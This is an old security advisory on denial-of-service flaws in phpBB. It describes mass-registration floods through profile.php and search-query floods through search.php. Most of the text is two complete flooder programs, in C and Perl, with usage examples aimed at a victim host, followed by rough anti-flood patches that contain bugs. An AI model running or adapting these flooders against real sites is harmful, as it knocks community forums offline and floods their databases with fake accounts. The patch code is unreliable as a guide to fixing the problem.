Advisory-18.txt

`/*  
--------------------------------------------------------  
[N]eo [S]ecurity [T]eam [NST]® - Advisory #18 - 03/03/06  
--------------------------------------------------------  
Program: phpBB  
Homepage: http://www.phpbb.com  
Vulnerable Versions: All phpBB versions  
Risk: High Risk!!  
Impact: Multiple DoS Vulnerabilities.  
  
-==phpBB Multiple DoS Vulnerabilities ==-  
---------------------------------------------------------  
  
- Description  
---------------------------------------------------------  
phpBB is a high powered, fully scalable, and highly customizable  
Open Source bulletin board package. phpBB has a user-friendly  
interface, simple and straightforward administration panel, and  
helpful FAQ. Based on the powerful PHP server language and your  
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,  
phpBB is the ideal free community solution for all web sites.  
  
- Tested  
---------------------------------------------------------  
many forums  
  
- Explotation  
---------------------------------------------------------  
profile.php << By registering as many users as you can. The registration has to ve deactived the security code image.  
search.php << by searching in a way that the db couln't observe it.  
  
This vulnerability has discovered in the version 2.0.15 but it works in all versions if the security image code is not activ  
ated.  
  
- Exploit  
---------------------------------------------------------  
[C Source]  
/*  
Name: NsT-phpBBDoS  
Copyright: NeoSecurityteam  
Author: HaCkZaTaN  
Date: 19/06/05  
Description: xD You must figure out the problem xD  
  
root@NeoSecurity:/home/hackzatan# pico NsT-phpBBDoS.c  
root@NeoSecurity:/home/hackzatan# gcc NsT-phpBBDoS.c -o NsT-phpBBDoS  
root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS  
[+] NsT-phpBBDoS v0.1 by HaCkZaTaN  
[+] NeoSecurityTeam  
[+] Dos has begun....[+]  
  
[*] Use: ./NsT-phpBBDoS  
[*] Example: ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com  
root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com  
[+] NsT-phpBBDoS v0.1 by HaCkZaTaN [+]  
[+] NeoSecurityTeam [+]  
[+] Dos has begun....[+]  
  
.................................  
root@NeoSecurity:/home/hackzatan# echo "Let see how many users I have created"  
Let see how many users I have created  
root@NeoSecurity:/home/hackzatan# set | grep MACHTYPE  
MACHTYPE=i486-slackware-linux-gnu  
root@NeoSecurity:/home/hackzatan#  
  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <errno.h>  
#ifdef WIN32  
#include <winsock2.h>  
#pragma comment(lib, "ws2_32")  
#pragma pack(1)  
#define WIN32_LEAN_AND_MEAN  
#else  
#include <unistd.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <netdb.h>  
#endif  
  
#define __USE_GNU  
#define _XOPEN_SOURCE  
  
int Connection(char *, int);  
void Write_In(int , char *, char *, char *, int);  
char Use(char *);  
  
int main(int argc, char *argv[])  
{  
int sock, x = 0;  
char *Path = argv[1], *Pro_Sea = argv[2], *Host = argv[3];  
  
puts("[+] NsT-phpBBDoS v0.1 by HaCkZaTaN [+]");  
puts("[+] NeoSecurityTeam [+]");  
puts("[+] Dos has begun....[+]  
");  
fflush(stdout);  
  
if(argc != 4) Use(argv[0]);  
  
while(1)  
{  
sock = Connection(Host,80);  
Write_In(sock, Path, Pro_Sea, Host, x);  
#ifndef WIN32  
shutdown(sock, SHUT_WR);  
close(sock);  
#else  
closesocket(sock);  
WSACleanup();  
#endif  
Pro_Sea = argv[2];  
x++;  
}  
//I don't think that it will get here =)  
  
return 0;  
}  
  
int Connection(char *Host, int Port)  
{  
#ifndef WIN32  
#define SOCKET int  
#else  
int error;  
WSADATA wsadata;  
error = WSAStartup(MAKEWORD(2, 2), &wsadata);  
  
if (error == SOCKET_ERROR)  
{  
perror("Could Not Start Up Winsock!  
");  
return;  
}  
  
#endif  
  
SOCKET sockfd;  
struct sockaddr_in sin;  
struct in_addr *myaddr;  
struct hostent *h;  
  
if(Port <= 0 || Port > 65535)  
{  
puts("[-] Invalid Port Number  
");  
fflush(stdout);  
exit(-1);  
}  
  
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)  
{  
perror("socket() ");  
fflush (stdout);  
exit(-1);  
}  
  
if(isalpha(Host[0]))  
{  
if((h = gethostbyname(Host)) == NULL)  
{  
perror("gethostbyname() ");  
fflush (stdout);  
exit(-1);  
}  
}  
else  
{  
myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));  
myaddr->s_addr=inet_addr(Host);  
  
if((h = gethostbyaddr((char *) &myaddr, sizeof(myaddr), AF_INET)) != NULL)  
{  
perror("gethostbyaddr() ");  
fflush (stdout);  
exit(-1);  
}  
}  
  
memset(&sin, 0, sizeof(sin));  
sin.sin_family = AF_INET;  
sin.sin_port = htons(Port);  
memcpy(&sin.sin_addr.s_addr, h->h_addr_list[0], h->h_length);  
  
if(connect(sockfd, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) < 0)  
{  
perror("connect() ");  
exit (-1);  
}  
  
return sockfd;  
}  
  
void Write_In(int sock, char *Path, char *Pro_Sea, char *Host, int x)  
{  
char *str1 = (char *)malloc(4*BUFSIZ), *str2 = (char *)malloc(4*BUFSIZ);  
char NsT[] = "x4Ex65x6Fx53x65x63x75x72x69x74x79x54x65x61x6D";  
char *req0 = "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4  
"  
"Accept: */*  
"  
"Accept-Language: en-us  
"  
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
"  
"Accept encoding: gzip,deflate  
"  
"Keep-Alive: 300  
"  
"Proxy-Connection: keep-alive  
"  
"Content-Type: application/x-www-form-urlencoded  
"  
"Cache-Control: no-cache  
"  
"Pragma: no-cache  
";  
char *Profile = ".net&new_password=0123456&password_confirm=0123456&icq=&aim=&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=spanish&style=4&timezone=1&dateformat=l%2C+d+F+Y%2C+H%3Ai&mode=register&agreed=true&coppa=0&submit=Enviar  
";  
char *Search = "&search_terms=any&search_author=*&search_forum=-1&search_time=0&search_fields=all&search_cat=-1&sort_by=0&sort_dir=DESC&show_results=topics&return_chars=200  
";  
  
if(strcmp("profile.php", Pro_Sea) == 0) sprintf(str1, "username=N1sT__%d&email=N1sT__%d%%40%s%s", x, x, NsT, Profile);  
else if(strcmp("search.php", Pro_Sea) == 0)  
{  
Pro_Sea = "search.php?mode=results";  
sprintf(str1, "search_keywords=Nst_%d%s", x, Search);  
}  
else  
{  
puts("Sorry. Try making the right choice");  
exit(-1);  
}  
  
sprintf(str2, "POST %s%s HTTP/1.1  
"  
"Host: %s  
"  
"Referer: http://%s/  
%s"  
"Content-Length: %d  
  
%s", Path, Pro_Sea, Host, Host, req0, strlen(str1), str1);  
  
write(sock, str2, strlen(str2));  
write(1, ".", 1);  
fflush(stdout);  
}  
  
char Use(char *program)  
{  
fprintf(stderr,"[*] Use: %s  
", program);  
fprintf(stderr,"[*] Example: %s /phpBB/ profile.php Victimshost.com  
", program);  
fflush(stdout);  
exit(-1);  
}  
  
/*  
  
@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@  
'@@@@@''@@'@@@''''''''@@''@@@''@@  
'@@'@@@@@@''@@@@@@@@@'''''@@@  
'@@'''@@@@'''''''''@@@''''@@@  
@@@@''''@@'@@@@@@@@@@''''@@@@@  
  
*/  
  
/* EOF */  
*************************************************************************  
[Perl Source]  
#!/usr/bin/perl  
## Name: NsT-phpBBDoS (Perl Version)  
## Copyright: Neo Security Team  
## Author: HaCkZaTaN  
## Ported: g30rg3_x  
## Date: 20/06/05  
## Description: NsT-phpBB DoS By HackZatan Ported tu perl By g30rg3_x  
## A Simple phpBB Registration And Search DoS Flooder.  
##  
## g30rg3x@neosecurity:/home/g30rg3x# perl NsT-phpBBDoS.pl  
## [+]  
## [+] NsT-phpBBDoS v0.2 by HaCkZaTaN  
## [+] ported to Perl By g30rg3_x  
## [+] Neo Security Team  
## [+]  
## [+] Host |without http://www.| victimshost.com  
## [+] Path |example. /phpBB2/ or /| /phpBB2/  
## [+] Flood Type |1=Registration 2=Search| 1  
## [+] ..........................................................  
## [+] ..........................................................  
## [+] ..........................................................  
## [+] ..............................................  
## [+] The Socket Can't Connect To The Desired Host or the Host is MayBe DoSed  
## g30rg3x@neosecurity:/home/g30rg3x# echo "Let see how many users I have created"  
  
use IO::Socket;  
  
## Initialized X  
$x = 0;  
  
## Flood Variables Provided By User  
print q(  
NsT-phpBBDoS v0.2 by HaCkZaTaN  
ported to Perl By g30rg3_x  
Neo Security Team  
  
);  
print q(Host |without http://www.| );  
$host = ;  
chop ($host);  
  
print q(Path |example. /phpBB2/ or /| );  
$pth = ;  
chop ($pth);  
  
print q(Flood Type |1 = Registration, 2 = Search| );  
$type = ;  
chop ($type);  
  
## If Type Is Equals To 1 or Registration  
if($type == 1){  
  
## User Loop for 9999 loops (enough for Flood xDDDD)  
while($x != 9999)  
{  
  
## Building User in base X  
$uname = "username=NsT__" . "$x";  
  
## Building User Mail in base X  
$umail = "&email=NsT__" . "$x";  
  
## Final String to Send  
$postit = "$uname"."$umail"."%40neosecurityteam.net&new_password=0123456&password_confirm=0123456&icq=&aim=N%2FA&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit";  
  
## Posit Length  
$lrg = length $postit;  
  
## Connect Socket with Variables Provided By User  
my $sock = new IO::Socket::INET (  
PeerAddr => "$host",  
PeerPort => "80",  
Proto => "tcp",  
);  
die "  
The Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!  
" unless $sock;  
  
## Sending Truth Socket The HTTP Commands For Register a User in phpBB Forums  
print $sock "POST $pth"."profile.php HTTP/1.1  
";  
print $sock "Host: $host  
";  
print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*  
";  
print $sock "Referer: $host  
";  
print $sock "Accept-Language: en-us  
";  
print $sock "Content-Type: application/x-www-form-urlencoded  
";  
print $sock "Accept-Encoding: gzip, deflate  
";  
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4  
";  
print $sock "Connection: Keep-Alive  
";  
print $sock "Cache-Control: no-cache  
";  
print $sock "Content-Length: $lrg  
  
";  
print $sock "$postit  
";  
close($sock);  
  
## Print a "." for every loop  
syswrite STDOUT, ".";  
  
## Increment X in One for every Loop  
$x++;  
}  
  
## If Type Is Equals To 2 or Search  
}  
elsif ($type == 2){  
  
## User Search Loop for 9999 loops (enough for Flood xDDDD)  
while($x != 9999)  
{  
## Final Search String to Send  
$postit = "search_keywords=Neo+Security+Team+Proof+of+Concept+$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=msgonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";  
  
## Posit Length  
$lrg = length $postit;  
  
## Connect Socket with Variables Provided By User  
my $sock = new IO::Socket::INET (  
PeerAddr => "$host",  
PeerPort => "80",  
Proto => "tcp",  
);  
die "  
The Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!  
" unless $sock;  
  
## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums  
print $sock "POST $pth"."search.php?mode=results HTTP/1.1  
";  
print $sock "Host: $host  
";  
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5  
";  
print $sock "Referer: $host  
";  
print $sock "Accept-Language: en-us  
";  
print $sock "Content-Type: application/x-www-form-urlencoded  
";  
print $sock "Accept-Encoding: gzip, deflate  
";  
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4  
";  
print $sock "Connection: Keep-Alive  
";  
print $sock "Cache-Control: no-cache  
";  
print $sock "Content-Length: $lrg  
  
";  
print $sock "$postit  
";  
close($sock);  
  
## Print a "." for every loop  
syswrite STDOUT, ".";  
  
## Increment X in One for every Loop  
$x++;  
}  
}else{  
## STF??? What Do You Type  
die "Option not Allowed O_o???  
";  
}  
  
- Solutions  
--------------------------------------------------------  
/* Patch by Paisterist. Put this code after the "// Get current date" line */  
phpBB2/includes/usercp_register.php  
-usercp_register.php-  
###  
$flood=time()-120;  
$query=$db->sql_query("Select user_regdate from " . USERS_TABLE . " where user_regdate>='" . $flood . "' order by user_regdate desc");  
if($db->sql_numrows($query)!=0)  
{  
$row=$db->sql_fetchrow($query);  
$error=TRUE;  
$error_msg="Protección anti flood activada. Por favor espera " . $flood - $row['user_regdate'] . " segundos y manda los datos de vuelta.";  
}  
else  
{  
-usercp_register.php-  
  
===================================  
/* Patch by Paisterist. Put this code after "// Define initial vars" */  
phpBB2/search.php  
-search.php-  
if ($_GET['mode']=="results")  
{  
############  
$fp=fopen("time.txt", "r");  
$flood=fgets($fp, 1000);  
if($flood>=time()-5)  
{  
message_die(GENERAL_MESSAGE, "Protección anti flood activada. Intenta unos segundos más tarde");  
fclose($fp);  
exit(0);  
}  
else  
{  
$fp=fopen("time.txt", "w");  
fwrite($fp, time());  
fclose($fp);  
}  
######  
-search.php-  
  
- References  
--------------------------------------------------------  
http://www.neosecurityteam.net/index.php?action=advisories&id=18  
  
- Credits  
-------------------------------------------------  
[C Exploit] by HaCkZaTaN  
[Perl Exploit] by g30rg3_x  
[Patch] by Paisterist  
  
[N]eo [S]ecurity [T]eam [NST]® - http://www.neosecurityteam.net/  
  
Got Questions? http://www.neosecurityteam.net/foro/  
  
irc.fullnetwork.org #nst [NeoSecurity IRC]  
  
- Greets  
--------------------------------------------------------  
Daemon21  
LINUX  
erg0t  
uyx  
CrashCool  
Makoki  
KingMetal  
r3v3ng4ns  
T0wn3r  
All Internal Fear Staff  
  
Argentina, Mexico, Colombia, Chile, Uruguay EXISTS!!  
  
@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@  
'@@@@@''@@'@@@''''''''@@''@@@''@@  
'@@'@@@@@@''@@@@@@@@@'''''@@@  
'@@'''@@@@'''''''''@@@''''@@@  
@@@@''''@@'@@@@@@@@@@''''@@@@@  
*/  
  
/* EOF */`